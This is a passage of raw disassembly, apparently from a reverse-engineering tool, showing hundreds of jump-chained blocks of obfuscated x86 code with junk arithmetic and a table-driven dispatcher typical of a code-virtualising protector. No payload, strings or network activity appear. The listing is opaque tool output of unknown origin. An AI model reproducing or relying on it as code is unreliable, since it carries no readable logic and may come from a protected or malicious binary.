17771B2Ah shl edi, 1 add edi, 0C598903h mov esi, edi pop edi sub esi, 7CC6B78h add esi, eax add esi, 7CC6B78h pop eax xor eax, esi jmp loc_59E40F ; --------------------------------------------------------------------------- loc_59DEA4: ; CODE XREF: sub_581EE9+2270Fj sub ebp, 6696056Eh jmp loc_5A0CDA ; --------------------------------------------------------------------------- loc_59DEAF: ; CODE XREF: sub_581EE9+23EADj add esp, 4 jmp loc_59819F ; --------------------------------------------------------------------------- loc_59DEB7: ; CODE XREF: sub_581EE9+17D35j push [esp-6E7Ah+arg_6E72] pop ebx add esp, 4 shl ebp, 8 push esi mov esi, 0FFFFFFFFh sub ebp, esi pop esi not ebp xor ebp, 0E5AE0965h mov eax, ebp pop ebp jmp loc_5A26AD ; --------------------------------------------------------------------------- loc_59DEDA: ; CODE XREF: sub_581EE9+15C61j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6EBCh+arg_6EB2+2] pop esp add eax, 4 xor eax, [esp-6EC0h+arg_6EB6+2] xor [esp-6EC0h+arg_6EB6+2], eax xor eax, [esp-6EC0h+arg_6EB6+2] jmp loc_5A6F66 ; --------------------------------------------------------------------------- loc_59DEFD: ; CODE XREF: sub_581EE9+1A52Bj mov ebp, 0A78399Bh jmp loc_59D2D3 ; --------------------------------------------------------------------------- loc_59DF07: ; CODE XREF: sub_581EE9+24D6Cj and ebx, 0C3F1E46h not ebx add ebx, 100A0C42h mov eax, ebx pop ebx jmp loc_5A110D ; --------------------------------------------------------------------------- loc_59DF1D: ; CODE XREF: sub_581EE9+1FF92j mov [esp-6E7Ah+arg_6E72], ebp push [esp-6E7Ah+arg_6E76] mov ebp, [esp-6E76h+arg_6E6E] add esp, 4 pop [esp-6E7Ah+arg_6E72] pop esp jmp loc_594243 ; --------------------------------------------------------------------------- loc_59DF36: ; CODE XREF: sub_581EE9+1C9C9j push dword ptr [esp-6E82h+arg_6E7A] pop eax push edx mov edx, esp jmp loc_59B0ED ; --------------------------------------------------------------------------- loc_59DF42: ; CODE XREF: sub_581EE9+199E8j push 5226h push esp pop [esp-6E52h+arg_6E48+2] add [esp-6E56h+arg_6E4C+2], 4 pop ecx push eax jmp loc_5A3BE3 ; --------------------------------------------------------------------------- loc_59DF59: ; CODE XREF: sub_581EE9+1DEE0j push ebp mov ebp, 4 add ecx, ebp pop ebp sub ecx, 4 jmp loc_598D85 ; --------------------------------------------------------------------------- loc_59DF6A: ; CODE XREF: sub_581EE9+108EAj add ebx, edx jmp loc_59F57D ; --------------------------------------------------------------------------- loc_59DF71: ; CODE XREF: sub_581EE9+1C906j add ebp, 4 xchg ebp, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] push edx push eax push ecx mov ecx, 76FC5042h jmp loc_597510 ; --------------------------------------------------------------------------- loc_59DF8A: ; CODE XREF: sub_581EE9+17C96j mov esi, ebx jmp loc_599190 ; --------------------------------------------------------------------------- align 2 fcomp dword ptr [ebx+53h] jmp loc_5A4799 ; --------------------------------------------------------------------------- loc_59DF9A: ; CODE XREF: sub_581EE9+12E36j sub ecx, 1C754A11h jmp loc_59E2F2 ; --------------------------------------------------------------------------- loc_59DFA5: ; CODE XREF: sub_581EE9+20052j shl ebp, 1 dec ebp shr ebp, 6 shl ebp, 2 push edx mov edx, 1C8338DAh xor ebp, edx pop edx sub ecx, 5CCD2265h add ecx, ebp jmp loc_59FBF1 ; --------------------------------------------------------------------------- loc_59DFC4: ; CODE XREF: sub_581EE9+1F332j sub eax, 211E1551h sub eax, 4B871BFBh push ecx mov ecx, 5D0E620Bh add eax, ecx pop ecx push [esp-6EA4h+arg_6E9A+2] jmp loc_5A2BBB ; --------------------------------------------------------------------------- loc_59DFDF: ; CODE XREF: sub_581EE9+24487j add esp, 4 push 65BAh mov [esp-6EA0h+arg_6E96+2], edx push eax mov ah, cl push ecx push edx mov dl, ah push ebx mov bl, dl mov ch, bl pop ebx pop edx push ebx mov bl, ch mov dh, bl pop ebx mov ecx, [esp-6E98h+arg_6E8E+2] add esp, 4 pop eax jmp loc_599828 ; --------------------------------------------------------------------------- loc_59E00D: ; CODE XREF: sub_581EE9+1F2C3j push [esp-6EA0h+arg_6E96+2] pop edx push 631Dh mov [esp-6E9Ch+arg_6E92+2], esi mov esi, esp push eax mov eax, 4 add esi, eax jmp loc_5A007E ; --------------------------------------------------------------------------- loc_59E028: ; CODE XREF: sub_581EE9+18947j pop eax add ebp, ecx pop ecx add esi, ebp pop ebp push ecx mov ecx, 2 add esi, ecx jmp loc_5967AE ; --------------------------------------------------------------------------- loc_59E03C: ; CODE XREF: sub_581EE9+1960Bj sub ah, 77h sub ch, ah pop eax push 473Bh mov [esp-6E46h+arg_6E3E], ebx mov bh, 0F9h shl bh, 8 dec bh shl bh, 1 push eax mov ah, 0EFh sub bh, ah pop eax jmp loc_5A1174 ; --------------------------------------------------------------------------- loc_59E05E: ; CODE XREF: sub_581EE9+1E937j push esp pop ebp push ebx jmp loc_597007 ; --------------------------------------------------------------------------- loc_59E066: ; CODE XREF: sub_581EE9+12F03j add esp, 4 jmp loc_59EFA1 ; --------------------------------------------------------------------------- lodsb jmp loc_5A1046 ; --------------------------------------------------------------------------- loc_59E077: ; CODE XREF: sub_581EE9+1EA34j push eax sub esp, 4 jmp loc_5A381F ; --------------------------------------------------------------------------- loc_59E083: ; CODE XREF: sub_581EE9+2371Ej and edi, eax mov eax, [esp+0] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp-6E8Ch+arg_6E84] pop esp jmp loc_5A4729 ; --------------------------------------------------------------------------- loc_59E0A0: ; CODE XREF: sub_581EE9+1FD5Dj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp and eax, esi push [esp-6E94h+arg_6E8A+2] mov esi, [esp+0] add esp, 4 add esp, 4 or eax, eax jz loc_5A4E47 push esi push 28ABh mov [esp+0], edx mov edx, 0FEh push edx jmp loc_5A10E6 ; --------------------------------------------------------------------------- loc_59E0DF: ; CODE XREF: sub_581EE9+1E8CEj push ecx jmp loc_5A036E ; --------------------------------------------------------------------------- loc_59E0E5: ; CODE XREF: sub_581EE9+115AEj push ecx jmp loc_599BC2 ; --------------------------------------------------------------------------- loc_59E0EB: ; CODE XREF: sub_581EE9+13080j push 2927h mov [esp-6E8Ch+arg_6E84], edx mov edx, 768F55E9h and edi, edx pop edx and edi, 5615115Bh xor edi, 5000010Dh add ecx, edi pop edi xor ecx, [esp-6E94h+arg_6E8A+2] xor [esp-6E94h+arg_6E8A+2], ecx xor ecx, [esp-6E94h+arg_6E8A+2] pop esp jmp loc_5A690D ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E98h+arg_6E8E+2] sub esp, 4 mov [esp-6E94h+arg_6E8A+2], esi push esi mov esi, esp add esi, 4 push 195Dh jmp loc_596466 ; --------------------------------------------------------------------------- loc_59E136: ; CODE XREF: sub_581EE9+204F6j add eax, 5C476F6Dh shl eax, 6 sub eax, 0BF920C39h mov esi, eax mov eax, [esp-6E8Ch+arg_6E84] add esp, 4 or esi, 254B01C6h push edi mov edi, 2CB69E9h not edi sub edi, 0AE734E97h or esi, edi jmp loc_59C88D ; --------------------------------------------------------------------------- loc_59E166: ; CODE XREF: sub_581EE9+20497j xor al, bh jmp loc_5A5516 ; --------------------------------------------------------------------------- loc_59E16D: ; CODE XREF: sub_581EE9+22ACCj push edx jmp loc_596D59 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E88h+arg_6E80] push eax push esp mov eax, [esp-6E80h+arg_6E76+2] add esp, 4 push 48D5h mov [esp-6E80h+arg_6E76+2], ebx mov ebx, 3B75496h push esi push ecx mov ecx, 593E458Fh mov esi, 681E1499h sub esi, 4B217A7Eh jmp loc_59C7A6 ; --------------------------------------------------------------------------- loc_59E1A3: ; CODE XREF: sub_581EE9+25008j pop eax push 3895h mov [esp-6E78h+arg_6E6E+2], ebp sub esp, 4 mov [esp+0], edi push 6FCD068Ah pop edi jmp loc_59B0F8 ; --------------------------------------------------------------------------- loc_59E1BD: ; CODE XREF: sub_581EE9+15CF3j mov esi, 7C231804h sub [esp-6E92h+arg_6E8E], esi mov esi, [esp-6E92h+arg_6E8A] add esp, 4 add [esp-6E96h+arg_6E8E], 2036534Dh sub [esp-6E96h+arg_6E8E], 3A6E37C7h jmp loc_59EC45 ; --------------------------------------------------------------------------- loc_59E1E2: ; CODE XREF: sub_581EE9+1CE9Dj sub esp, 4 mov [esp-6E92h+arg_6E8A], ebx push [esp-6E92h+arg_6E8E] pop ebx pop [esp-6E92h+arg_6E8A] mov esp, [esp-6E96h+arg_6E8E] or byte ptr [esp-6E96h+arg_6E8E], al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59E1FC: ; CODE XREF: sub_581EE9+184ADj or edx, 3D9E5C3Dh jmp loc_5A0E28 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_59C89C ; --------------------------------------------------------------------------- loc_59E20E: ; CODE XREF: sub_581EE9+174DEj sub esp, 4 mov [esp-6E9Ah+arg_6E92], esi mov esi, 63CE24D5h push esi mov esi, 6B585B34h mov ecx, 8967FE0h xor ecx, esi mov esi, [esp-6E96h+arg_6E8E] jmp loc_5971C5 ; --------------------------------------------------------------------------- loc_59E231: ; CODE XREF: sub_581EE9+19B88j push eax mov eax, 1E1C19CDh jmp loc_5A0E50 ; --------------------------------------------------------------------------- loc_59E23C: ; CODE XREF: sub_581EE9+1F7AFj push dword ptr [esp+4] pop ebx pop [esp-6E70h+arg_6E68] pop eax sub esp, 4 mov [esp+0], edi sub esp, 4 mov [esp-6E70h+arg_6E68], edx push ebp mov ebp, 186E7180h shl ebp, 3 inc ebp sub ebp, 158F5AEAh push esi mov esi, 2D186442h or ebp, esi pop esi add ebp, 41D15305h jmp loc_5A2A80 ; --------------------------------------------------------------------------- loc_59E278: ; CODE XREF: sub_581EE9+23A06j sub esp, 4 jmp loc_595AA6 ; --------------------------------------------------------------------------- loc_59E280: ; CODE XREF: sub_581EE9+10407j add [esp-6EB0h+arg_6EAC], esi push ecx jmp loc_5A6FD4 ; --------------------------------------------------------------------------- loc_59E28A: ; CODE XREF: sub_581EE9+12645j pop ecx xor ebx, esi pop esi mov ebp, ebx pop ebx neg ebp sub esp, 4 mov [esp-6E92h+arg_6E8A], eax jmp loc_59BF18 ; --------------------------------------------------------------------------- loc_59E2A1: ; CODE XREF: sub_581EE9+12F7Aj mov eax, esp push ecx push 7EBF6BE5h pop ecx xor ecx, 7EBF6BE1h add eax, ecx pop ecx add eax, 4 jmp loc_5959DC ; --------------------------------------------------------------------------- loc_59E2BB: ; CODE XREF: sub_581EE9+13C21j mov ebx, 1B6A72BAh add ebx, 717C2A34h jmp loc_5A2FC8 ; --------------------------------------------------------------------------- loc_59E2CB: ; CODE XREF: sub_581EE9+19BC0j shl ebx, 5 xor ebx, 0FD514D73h add edx, 280F01F6h add edx, ebx jmp loc_594A91 ; --------------------------------------------------------------------------- loc_59E2E1: ; CODE XREF: sub_581EE9+1608Bj xor esi, edi pop edi sub esp, 4 mov [esp-6E7Eh+arg_6E76], ebp jmp loc_59A93B ; --------------------------------------------------------------------------- loc_59E2F2: ; CODE XREF: sub_581EE9+1C0B7j pop eax xor ecx, [esp-6EA8h+arg_6E9E+2] xor [esp-6EA8h+arg_6E9E+2], ecx xor ecx, [esp-6EA8h+arg_6E9E+2] mov esp, [esp-6EA8h+arg_6E9E+2] jmp loc_59F4F9 ; --------------------------------------------------------------------------- loc_59E304: ; CODE XREF: sub_581EE9+252B1j push ebp mov ebp, esp sub esp, 4 mov [esp-6EA0h+arg_6E96+2], edi mov edi, 4 sub ebp, 303574A5h add ebp, edi jmp loc_59401A ; --------------------------------------------------------------------------- loc_59E322: ; CODE XREF: sub_581EE9+15AE8j xor al, bh mov ebx, [esp-6E80h+arg_6E76+2] jmp loc_5987AE ; --------------------------------------------------------------------------- loc_59E32C: ; CODE XREF: sub_581EE9+20C7Fj add esp, 4 add eax, esi mov esi, [esp-6E84h+arg_6E7C] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E80h+arg_6E76+2] pop esp push [esp-6E84h+arg_6E7C] pop esi add esp, 4 jmp loc_59AA34 ; --------------------------------------------------------------------------- loc_59E356: ; CODE XREF: sub_581EE9+1EC75j mov ebx, 265F7E0Ch or ebx, 42DD1D0Ah not ebx or ebx, 90C70CAh shl ebx, 5 add ebx, 4256025Fh or ecx, ebx jmp loc_599855 ; --------------------------------------------------------------------------- loc_59E379: ; CODE XREF: sub_581EE9+138D4j neg eax jmp loc_59D0B8 ; --------------------------------------------------------------------------- loc_59E380: ; CODE XREF: sub_581EE9+1A5B5j push eax mov eax, 30954EEAh add eax, 0FFFFFFFFh jmp loc_5A1FFD ; --------------------------------------------------------------------------- loc_59E38E: ; CODE XREF: sub_581EE9+1E1BAj mov [esp-6E58h+arg_6E50], eax mov eax, 7520685Dh add eax, 8ADF97A7h add edi, eax mov eax, [esp-6E58h+arg_6E50] jmp loc_5A5C1E ; --------------------------------------------------------------------------- loc_59E3A5: ; CODE XREF: sub_581EE9+1A09Fj push eax mov eax, 0BE17B5FBh xor edi, eax pop eax jmp loc_592539 ; --------------------------------------------------------------------------- loc_59E3B3: ; CODE XREF: sub_581EE9+1E398j mov [esp-6E52h+arg_6E48+2], edi push ebx jmp loc_59EBD3 ; --------------------------------------------------------------------------- loc_59E3BC: ; CODE XREF: sub_581EE9+1D8ADj mov eax, esp add eax, 4 add eax, 4 push eax push [esp-6E4Ah+arg_6E44+2] pop eax jmp loc_593416 ; --------------------------------------------------------------------------- loc_59E3D1: ; CODE XREF: sub_581EE9+1474Ej xor [esp-6EA6h+arg_6E9E], ebx sub esp, 4 mov [esp-6EA2h+arg_6E9A], ebx jmp loc_59E87E ; --------------------------------------------------------------------------- loc_59E3E2: ; CODE XREF: sub_581EE9+1B159j and eax, edx pop edx sub esp, 4 mov [esp-6EACh+arg_6EA4], esi mov esi, 7AB474F3h and esi, 1BE44A47h shr esi, 6 push ebx mov ebx, 68A13800h xor ebx, 0DD160BBFh sub esi, ebx jmp loc_59551C ; --------------------------------------------------------------------------- loc_59E40F: ; CODE XREF: sub_581EE9+1BFB6j push dword ptr [esp+0] jmp loc_596297 ; --------------------------------------------------------------------------- loc_59E417: ; CODE XREF: sub_581EE9+11DFDj pop dword ptr [esp-6EAAh+arg_6EA2] pop esp mov [esp-6EB2h+arg_6EA8+2], eax jmp loc_5A050D ; --------------------------------------------------------------------------- loc_59E423: ; CODE XREF: sub_581EE9+1DAB7j push [esp-6EB2h+arg_6EA8+2] pop eax add esp, 4 jmp loc_5A16A4 ; --------------------------------------------------------------------------- loc_59E432: ; CODE XREF: sub_581EE9+13BE5j add edx, eax pop eax jmp loc_59499A ; --------------------------------------------------------------------------- loc_59E43A: ; CODE XREF: sub_581EE9+23FC7j push ebx jmp loc_59D76F ; --------------------------------------------------------------------------- loc_59E440: ; CODE XREF: sub_581EE9+12D3Fj push eax mov eax, 2DDB7446h or eax, 696803F2h jmp loc_597D66 ; --------------------------------------------------------------------------- loc_59E450: ; CODE XREF: sub_581EE9+12F0Bj add edx, 4 jmp loc_5A24B4 ; --------------------------------------------------------------------------- loc_59E45B: ; CODE XREF: sub_581EE9+17074j push eax mov eax, 7E39608Fh mov ebp, eax mov eax, [esp-6E9Ch+arg_6E92+2] add esp, 4 dec ebp push edx mov edx, 55FE4818h shr edx, 2 xor edx, 19426816h xor edx, 476C3951h jmp loc_59EAE9 ; --------------------------------------------------------------------------- loc_59E484: ; CODE XREF: sub_581EE9+24F33j add al, 66h add al, ch sub al, 66h sub al, 45h mov ecx, [esp-6E9Ch+arg_6E92+2] push esi mov esi, esp add esi, 4 jmp loc_593E7B ; --------------------------------------------------------------------------- loc_59E49D: ; CODE XREF: sub_581EE9+11FDDj push [esp-6E94h+arg_6E8A+2] pop ecx add esp, 4 sub esp, 4 mov [esp-6E94h+arg_6E8A+2], esi push ebp jmp loc_599A2D ; --------------------------------------------------------------------------- loc_59E4B3: ; CODE XREF: sub_581EE9+13C70j xchg eax, [esp-6EA8h+arg_6E9E+2] jmp loc_5A6448 ; --------------------------------------------------------------------------- loc_59E4BB: ; CODE XREF: sub_581EE9+19883j neg esi jmp loc_593138 ; --------------------------------------------------------------------------- loc_59E4C2: ; CODE XREF: sub_581EE9+18064j pop bx add cl, 91h xor al, cl pop ecx push ebx mov bl, 0E8h sub al, bl pop ebx add bl, al mov eax, [esp+0] add esp, 4 sub bl, 53h push eax mov ah, 0E1h inc ah push edx mov dl, 83h jmp loc_59E511 ; --------------------------------------------------------------------------- loc_59E4E8: ; CODE XREF: sub_581EE9+1B2F7j not esi xchg eax, esi push ecx mov ecx, 3D5F0763h shr ecx, 2 add ecx, 646A5AD1h inc ecx neg ecx xor ecx, 1477393Eh sub ecx, 9C7C4996h sub eax, ecx pop ecx jmp loc_59B89B ; --------------------------------------------------------------------------- loc_59E511: ; CODE XREF: sub_581EE9+1C5FAj add dl, 0E7h add dl, 13h or ah, dl mov edx, [esp-6E70h+arg_6E68] jmp loc_5991F4 ; --------------------------------------------------------------------------- loc_59E521: ; CODE XREF: sub_581EE9+12895j pop esi neg eax sub eax, 562368CFh jmp loc_5A0B69 ; --------------------------------------------------------------------------- loc_59E52E: ; CODE XREF: sub_581EE9+10155j mov ebx, 4 add ecx, 6F955E98h add ecx, ebx push ecx push esp pop ecx add ecx, 4 push edi jmp loc_5A4DA1 ; --------------------------------------------------------------------------- loc_59E54A: ; CODE XREF: sub_581EE9+1CBBFj mov ebp, 5D831B50h xor ebp, 7DD959AEh shl ebp, 7 not ebp sub ebp, 46DA26AEh shl ebp, 4 xor ebp, 5D0267E5h jmp loc_5A28DB ; --------------------------------------------------------------------------- loc_59E56E: ; CODE XREF: sub_581EE9+19DD2j pop eax add dl, ch pop ecx jmp loc_59B084 ; --------------------------------------------------------------------------- loc_59E577: ; CODE XREF: sub_581EE9+168BAj add [esp-6E60h+arg_6E60], eax sub [esp-6E60h+arg_6E60], 2C572F37h pop eax mov ecx, [esp-6E64h+arg_6E5C] add esp, 4 pop dword ptr [edi+24h] loc_59E58D: ; CODE XREF: sub_581EE9+1BEC7j push 314Bh jmp loc_5A6163 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E68h+arg_6E60] jmp loc_5A61D8 ; --------------------------------------------------------------------------- loc_59E5A0: ; CODE XREF: sub_581EE9+1EF62j push [esp-6E68h+arg_6E60] jmp loc_5985C8 ; --------------------------------------------------------------------------- lodsw sub ax, 5967h add ax, 3F9Bh jmp loc_59C253 ; --------------------------------------------------------------------------- loc_59E5B7: ; CODE XREF: sub_581EE9+18E25j push eax jmp loc_5986BC ; --------------------------------------------------------------------------- loc_59E5BD: ; CODE XREF: sub_581EE9+19264j pop ecx sub esp, 4 mov [esp-6EACh+arg_6EA4], ecx jmp loc_5A4344 ; --------------------------------------------------------------------------- loc_59E5CC: ; CODE XREF: sub_581EE9+1F926j neg ecx push esi jmp loc_59379F ; --------------------------------------------------------------------------- loc_59E5D4: ; CODE XREF: sub_581EE9+1EDD6j add eax, ecx pop ecx add eax, 2A018E2h sub eax, ebp sub eax, 2A018E2h push esi jmp loc_595E8E ; --------------------------------------------------------------------------- loc_59E5E9: ; CODE XREF: sub_581EE9+13A3Ej mov ebx, 5D8D3BE4h jmp loc_59EBAE ; --------------------------------------------------------------------------- loc_59E5F3: ; CODE XREF: sub_581EE9+14EF2j pop esp jmp loc_59DA1D ; --------------------------------------------------------------------------- loc_59E5F9: ; CODE XREF: sub_581EE9+19F1Aj mov ecx, 0C353D54Dh add ebp, ecx pop ecx and eax, ebp mov ebp, [esp-6E62h+arg_6E58+2] jmp loc_597873 ; --------------------------------------------------------------------------- loc_59E60B: ; CODE XREF: sub_581EE9+11233j pop ecx jmp loc_59C937 ; --------------------------------------------------------------------------- loc_59E611: ; CODE XREF: sub_581EE9+1DA65j sub ecx, 0F74957ECh or edi, ecx pop ecx jmp loc_5A00AE ; --------------------------------------------------------------------------- loc_59E61F: ; CODE XREF: sub_581EE9+24DE4j not eax xchg eax, ecx shr ecx, 6 neg ecx sub ecx, 8233236Fh and edi, ecx push [esp-6E4Eh+arg_6E44+2] jmp loc_59BF71 ; --------------------------------------------------------------------------- loc_59E637: ; CODE XREF: sub_581EE9+147DEj add ebx, 4 add ebx, 4 xchg ebx, [esp-6E9Ah+arg_6E92] pop esp neg eax sub eax, 34CC641Ch push edi jmp loc_5A61C5 ; --------------------------------------------------------------------------- loc_59E651: ; CODE XREF: sub_581EE9+1BEE6j mov esp, [esp-6E7Eh+arg_6E76] mov [esp-6E7Eh+arg_6E76], edx mov edx, 1Ch jmp loc_5A5E04 ; --------------------------------------------------------------------------- loc_59E661: ; CODE XREF: sub_581EE9+24905j pop edx mov ebp, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 jmp loc_5A4006 ; --------------------------------------------------------------------------- loc_59E66D: ; CODE XREF: sub_581EE9+1A318j mov dh, 9Bh dec dh xor dh, 22h jmp loc_5A0D89 ; --------------------------------------------------------------------------- loc_59E679: ; CODE XREF: sub_581EE9+24EF0j sub eax, 4 push eax push [esp-6EA2h+arg_6E9E] jmp loc_593D42 ; --------------------------------------------------------------------------- loc_59E686: ; CODE XREF: sub_581EE9+23847j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59E68B: ; CODE XREF: sub_581EE9+22614j push ecx jmp loc_5A46D4 ; --------------------------------------------------------------------------- loc_59E691: ; CODE XREF: sub_581EE9+1B877j pop edx inc ebx sub ebx, 2F1253D6h push 138Dh mov [esp-6ECCh+arg_6EC2+2], eax mov eax, 7C533A8Ah shr eax, 2 add eax, 1886FB5h sub eax, 0D50C02DEh add ebx, eax pop eax add edx, ebx mov ebx, [esp-6ED0h+arg_6EC6+2] jmp loc_5A13D0 ; --------------------------------------------------------------------------- loc_59E6C0: ; CODE XREF: sub_581EE9+183DBj mov [esp-6EB0h+arg_6EA8], edx jmp loc_59D612 ; --------------------------------------------------------------------------- loc_59E6C8: ; CODE XREF: sub_581EE9+11583j pop ebx shr edx, 5 inc edx jmp loc_5A0E6F ; --------------------------------------------------------------------------- loc_59E6D2: ; CODE XREF: sub_581EE9+1793Aj push esp pop edx add edx, 4 push eax mov eax, 4 jmp loc_59B1EA ; --------------------------------------------------------------------------- loc_59E6E5: ; CODE XREF: sub_581EE9+19FE0j pop esi push edx jmp loc_597255 ; --------------------------------------------------------------------------- loc_59E6EC: ; CODE XREF: sub_581EE9+171BCj push 3D02h mov [esp-6E66h+arg_6E5C+2], ebx jmp loc_59277B ; --------------------------------------------------------------------------- loc_59E6F9: ; CODE XREF: sub_581EE9+11DCCj push small 7F4Ch mov word ptr [esp-6EA8h+arg_6E9E+2], dx sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], eax jmp loc_59E858 ; --------------------------------------------------------------------------- loc_59E70C: ; CODE XREF: sub_581EE9+184A3j add [esp-6E7Ah+arg_6E76], ecx add [esp-6E7Ah+arg_6E76], 0B11BF1h push [esp-6E7Ah+arg_6E72] pop ecx jmp loc_599177 ; --------------------------------------------------------------------------- loc_59E721: ; CODE XREF: sub_581EE9+14B99j shl eax, 2 add eax, 22A0258h mov esi, eax jmp loc_5953B5 ; --------------------------------------------------------------------------- loc_59E730: ; CODE XREF: sub_581EE9+1E035j sub ecx, 54C81966h sub ecx, eax add ecx, 54C81966h pop eax shr ecx, 3 shr ecx, 2 push edi mov edi, 43AB03F6h jmp loc_593AB0 ; --------------------------------------------------------------------------- loc_59E750: ; CODE XREF: sub_581EE9+181AAj movzx eax, al push dword ptr [edi+eax*4] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59E75B: ; CODE XREF: sub_581EE9+1D27Aj mov esp, [esp+0] mov [esp+0], eax mov eax, esp jmp loc_5A0B9D ; --------------------------------------------------------------------------- loc_59E768: ; CODE XREF: sub_581EE9+1DC4Bj xor eax, 41B86261h mov ebx, eax pop eax push ebp mov ebp, 1C5D3B3Eh mov edx, 4B6C9DF9h sub edx, ebp pop ebp xor edx, ebx pop ebx push ebx mov ebx, 6E865FE4h add ebx, 0B955BC03h jmp loc_5982BE ; --------------------------------------------------------------------------- loc_59E792: ; CODE XREF: sub_581EE9+11CC6j add ebp, 26F75D9Ch push [esp-6E7Ah+arg_6E72] pop ecx jmp loc_5976A1 ; --------------------------------------------------------------------------- loc_59E7A1: ; CODE XREF: sub_581EE9+23F16j add ecx, 4 jmp loc_59F953 ; --------------------------------------------------------------------------- loc_59E7A9: ; CODE XREF: sub_581EE9+11817j pop ebx xchg esi, [esp-6E8Ah+arg_6E80+2] pop esp push [esp-6E8Eh+arg_6E84+2] mov edi, [esp-6E8Ah+arg_6E80+2] add esp, 4 jmp loc_59254B ; --------------------------------------------------------------------------- loc_59E7BF: ; CODE XREF: sub_581EE9+17D0Dj push ecx push 4 mov ecx, [esp-6EA0h+arg_6E96+2] push eax mov eax, esp push ebx mov ebx, 0D534AADh not ebx jmp loc_595D3E ; --------------------------------------------------------------------------- loc_59E7D8: ; CODE XREF: sub_581EE9+197E5j sub ecx, 7DFB1FC9h jmp loc_59357E ; --------------------------------------------------------------------------- loc_59E7E3: ; CODE XREF: sub_581EE9+1CD4Aj pop edi jmp loc_5A3669 ; --------------------------------------------------------------------------- loc_59E7E9: ; CODE XREF: sub_581EE9+1D178j add ebp, 4 jmp loc_59DF71 ; --------------------------------------------------------------------------- loc_59E7F4: ; CODE XREF: sub_581EE9+1BC70j pop [esp-6E62h+arg_6E58+2] mov esp, [esp-6E66h+arg_6E5C+2] loc_59E7FA: ; CODE XREF: sub_581EE9+1B227j push 507Eh mov [esp-6E62h+arg_6E58+2], ebx push [esp-6E62h+arg_6E58+2] push [esp-6E5Eh+arg_6E54+2] jmp loc_59C3E8 ; --------------------------------------------------------------------------- loc_59E80D: ; CODE XREF: sub_581EE9+13335j mov edx, esi pop esi jmp loc_5A1D94 ; --------------------------------------------------------------------------- loc_59E815: ; CODE XREF: sub_581EE9+10E18j push esi mov esi, 77F11211h add esi, 0C842F7F3h sub edx, esi pop esi sub esi, 71870AD3h add esi, edx jmp loc_5A360A ; --------------------------------------------------------------------------- loc_59E831: ; CODE XREF: sub_581EE9+12B6Cj sub esp, 4 mov [esp-6E64h+arg_6E5C], esi mov esi, 5E752845h shr esi, 8 sub esi, 6B42031Fh push edx mov edx, 5B0A5C6Bh shr edx, 8 not edx jmp loc_5950D9 ; --------------------------------------------------------------------------- loc_59E858: ; CODE XREF: sub_581EE9+1C81Ej mov al, 0ECh mov dl, al jmp loc_5A3016 ; --------------------------------------------------------------------------- loc_59E861: ; CODE XREF: sub_581EE9+183B0j xor edi, 1E602549h push ebp mov ebp, 4FBD5D32h jmp loc_598CE7 ; --------------------------------------------------------------------------- loc_59E872: ; CODE XREF: sub_581EE9+1D216j pop eax sub esp, 4 jmp loc_5A2BE5 ; --------------------------------------------------------------------------- loc_59E87E: ; CODE XREF: sub_581EE9+1C4F4j xor [esp-6EA2h+arg_6E9A], eax jmp loc_5934E0 ; --------------------------------------------------------------------------- loc_59E886: ; CODE XREF: sub_581EE9+167E5j mov [esp-6E66h+arg_6E5C+2], edx sub esp, 4 mov [esp-6E62h+arg_6E58+2], esp add [esp-6E62h+arg_6E58+2], 4 jmp loc_5A296F ; --------------------------------------------------------------------------- loc_59E89E: ; CODE XREF: sub_581EE9+1D7FFj mov [esp-6E62h+arg_6E58+2], esi mov esi, 3AB07125h or eax, esi pop esi neg eax shr eax, 2 push eax inc [esp-6E62h+arg_6E58+2] jmp loc_59DF36 ; --------------------------------------------------------------------------- loc_59E8B7: ; CODE XREF: sub_581EE9+1E135j push ebp mov ebp, esp jmp loc_59828A ; --------------------------------------------------------------------------- loc_59E8BF: ; CODE XREF: sub_581EE9+1E354j mov ebx, 3B91F10h jmp loc_59D369 ; --------------------------------------------------------------------------- loc_59E8C9: ; CODE XREF: sub_581EE9+1759Aj neg ah or ah, 0ACh inc ah add ah, 6Dh sub bh, ah pop eax inc bh jmp loc_59CEBE ; --------------------------------------------------------------------------- loc_59E8DD: ; CODE XREF: sub_581EE9+1A77Ej push edx mov dh, 0D9h push ax mov ah, 0FFh add dh, ah pop ax shl dh, 4 neg dh and dh, 0C1h and dh, 3Ch sub dh, 0FFh jmp loc_59A35A ; --------------------------------------------------------------------------- loc_59E8FB: ; CODE XREF: sub_581EE9+214FEj mov dl, 5Ch add dl, 15h jmp $+5 sub bl, dl pop edx pop edx sub al, 37h sub al, bl add al, 37h mov ebx, [esp] push esi jmp loc_59EDBB ; --------------------------------------------------------------------------- loc_59E918: ; CODE XREF: sub_581EE9+15FCDj add ebx, edx pop edx dec ebx shr ebx, 5 sub ebx, 0A9622A26h or ebp, ebx pop ebx add ebp, 29C7116Ch or eax, ebp jmp loc_59C309 ; --------------------------------------------------------------------------- loc_59E935: ; CODE XREF: sub_581EE9+17986j pop edx sub esp, 4 mov [esp-6EA6h+arg_6E9E], ecx xor [esp-6EA6h+arg_6E9E], 3151044Bh pop edx xor edx, 3151044Bh pop ecx push ebp mov ebp, 22542D51h add edx, ebp pop ebp add edx, 154974E4h add edx, eax sub edx, 154974E4h jmp loc_59D410 ; --------------------------------------------------------------------------- loc_59E96A: ; CODE XREF: sub_581EE9+10350j push edi push ebx jmp loc_594B1F ; --------------------------------------------------------------------------- loc_59E971: ; CODE XREF: sub_581EE9+18649j mov al, 5Bh inc al shl al, 8 and al, 0FEh add al, 2Ch jmp loc_5A1F6B ; --------------------------------------------------------------------------- loc_59E981: ; CODE XREF: sub_581EE9+250FBj add edx, ecx pop ecx push esi jmp loc_59F847 ; --------------------------------------------------------------------------- loc_59E98A: ; CODE 